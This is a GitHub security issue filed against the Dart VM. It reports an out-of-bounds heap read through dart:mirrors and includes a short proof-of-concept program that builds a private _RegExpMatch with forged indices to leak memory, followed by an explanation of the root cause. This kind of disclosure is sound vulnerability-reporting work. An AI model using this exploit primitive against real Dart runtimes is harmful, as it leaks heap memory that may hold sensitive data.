Skip to content

[vm/mirrors] Out of bounds memory read using private dart:core functionality #37234

@mdempsky

Description

@mdempsky

Program below demonstrates an out-of-bounds memory read primitive. In particular, I'm able to read memory relative to any string object's char data.

import "dart:mirrors";

main() {
  var libs = currentMirrorSystem().libraries;
  var core = libs[Uri(scheme: "dart", path: "core")];

  var rx = RegExp("(bar)");
  rx.firstMatch("foobar"); // dummy match to compute _groupCount

  ClassMirror mirrorRegExpMatch;
  for (var d in core.declarations.entries) {
    if (d.key.toString() == Symbol("_RegExpMatch").toString()) {
      mirrorRegExpMatch = d.value as ClassMirror;
    }
  }

  var match = mirrorRegExpMatch.newInstance(Symbol(""), [rx, "foo", [1024, 1088]]).reflectee as RegExpMatch;
  var z = match.group(0);
  print(z.codeUnits); // prints 64 random bytes of heap memory
}

The underlying issue here is that _RegExpMatch.group uses String._substringUnchecked to slice the matched string into substrings. It assumes that _RegExpMatch objects will only be created by _RegExp itself and thus indices will be in bounds.

There's some VM logic to prevent dart:mirrors from accessing private declarations within dart: packages, but this doesn't prevent accessing either private top-level classes or their default constructors.

/cc @crelier @rmacnak-google

Metadata

Metadata

Assignees

No one assigned

    Labels

    area-vmUse area-vm for VM related issues, including code coverage, and the AOT and JIT backends.type-security

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions